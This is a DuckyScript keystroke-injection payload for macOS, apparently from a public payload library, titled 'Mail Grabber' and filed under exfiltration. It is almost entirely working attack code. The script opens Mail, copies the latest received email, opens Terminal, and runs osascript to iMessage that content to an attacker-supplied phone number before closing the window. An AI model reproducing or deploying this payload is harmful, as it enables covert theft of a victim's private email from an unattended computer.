Path: blob/master/payloads/library/exfiltration/Mail-Grabber/payload.txt
2968 views
REM Title: Mail Grabber1REM Description: iMessages the last received email in the Mail app to an iMessage device of your choice2REM Author: matthewkayne3REM Category: Exfiltration4REM Target: macOS5REM Requires: Device with iMessage to receive the data67DELAY 10008GUI SPACE9DELAY 20010STRING Mail11DELAY 20012ENTER13DELAY 40014TAB15DELAY 20016ENTER17DELAY 20018GUI a19DELAY 20020GUI c21DELAY 20022GUI w23DELAY 20024GUI w25DELAY 20026GUI SPACE27DELAY 20028STRING Terminal29DELAY 20030ENTER31DELAY 30032STRING x=$(pbpaste)33DELAY 20034ENTER35DELAY 20036REM Replace PHONE_NUMBER with you iMessage supported number (leave the @'s, they are required to run)37STRING osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@'38DELAY 10039ENTER40DELAY 20041GUI w42DELAY 20043ENTER444546